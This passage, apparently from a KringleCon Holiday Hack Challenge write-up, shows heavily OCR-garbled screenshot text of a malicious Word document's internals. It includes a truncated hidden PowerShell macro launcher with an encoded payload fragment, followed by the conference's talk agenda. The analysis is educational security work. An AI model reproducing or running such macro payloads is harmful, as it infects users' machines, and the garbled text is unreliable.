.|"|.!"H"I.!"ﬂ'"!"ﬂ"r!"l.!"ﬂ"l.!"ﬂ"r \j vbaData.xml &m 373 XML Document 1/1/198012:00 .. 1B91B133 H-'I'!-'I'!-'F!-'I'!“H-i'!-i' T
- \J ( I 16,868 108 XMLD t 1/1/1980 12:00 2E884894 ( <0 W
'EZD L < o styles.xm X 2, ocumen Yals :00 ...
w settings.xml 1,960 822 XML Document 1/1/198012:00... 1F309B85
2,

Vi <y FWO O | O footnotesxmi 1,131 403 XMLDocument  1/1/1%801200.. eassiese yyyyyLd ¥ i ¥y

_F WD W" W \JantTable.xml 1,612 485 XML Document 1/1/188012:00 ... 2F789A4B
o" s - ——— \J endnotes.xml 1125 403 XML Document 1/1/198012:00 ... BOESEEDA ..
B m || document.xml 10,342 2,205 XML Document 1/1/188012:00 ... 2C18F50E y

¥y TTTTrT e FIT FTTFTITFTTFTFTITITTFIFTIT — TFFF =
peO O"OO O €00 O 004,
T OO0 " £

iy (100 mu SRR In(- R R powershell.exe -MoE -Nop -MonI -ExecutionPoli

+a3t¥RegcP250imsFA/AKIBt4ddjbChArBInCCGXIADOEMIBSFSI23MEzrVochXdfeHU2Im/ kBeuuiVIRsZ1 kdrSUEWILWG OKRUCFBBP74PA
BMWmQSopCSVVISZWreow7da2us|Kt8 CozskiLPIclyttRjgC9zehNiQXrIBXispnKP7qYZ55+mM7vjoaviPek9wbd qumoARNBaZKiXS9gv

Vil VYR Yy 012 Attribut e VB_Nam e = "New Macros"

ent is basically a compressed file that contains the settings and contents
this example, since we know it has Visual Basic properties you can look at
o vba and check for scripts. As you can see the powershell script is visible
pened in a text editor.
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Appendix | — KringleCon Talks

Speaker Agenda

Keynote Speaker

Dave Kennedy
The Five Ways the Cyber Grinch Stole Christmas

Track 3

Haoliday Hack Challenge Disecior

Ed Skoudis [CHC]
on: Start Here

Track 2

Brian Hostetler [CHC]
CSV DDE Injection: Pwn Web Apps Like a Ninja
Teack 2

Chris Davis {CHC]
Analyzing PowerShell Malware
Track 4

Everything You've Wanted to Know About Password
Spraying But Were Afraid to Ask
Teack 6

Mick Douglas
PowerShell for Pen Testing
Track 6

Mical Hoffman
Breach Data and You
Track 5

Heather Mahalik
Smartphone Forensics: Why Building & Toolbox Matters
“Track 5

Jason Nickola
Crasgh Course in Web Pen Testing with Burp Suite

Track 5

Pesce

Software-Defined Radio: The New Awesome
Teack |

Derek Rook
Pivo ; SSH
Track 1

Joha Serand
Evil Clouds
Track 1

Chris Elgee and Chris Dayis [CHC]
HTTP/2: Because 1 Is the Loneliest Number
Track 2

Brian Hostetler [CHC]
Buried Secrets: Digging Deep Through Cloud
es

Track 4

Jay Beale
Quick Intro to Attacking a Kubernetes Cluster
Track 6

Jack Daniel

Katie Knowles
Sneaking Secrets from SMB Shares
Teack 4

Tim Medin

Hacking Dumberly Not Harderer
Track 7

Deviant Ollam

Key Decoding
Teack 3

Mike Poor
PCAP for Fun and Profit
Troack 4

Mike Saunders
Web App 101: Getting the Lay of the Land
Track 7

John Strand
Malware Zoo
Track 7

Rachel Tobac
How 1 Would Hack You: Social Engineering Step-by-Step

Track 2
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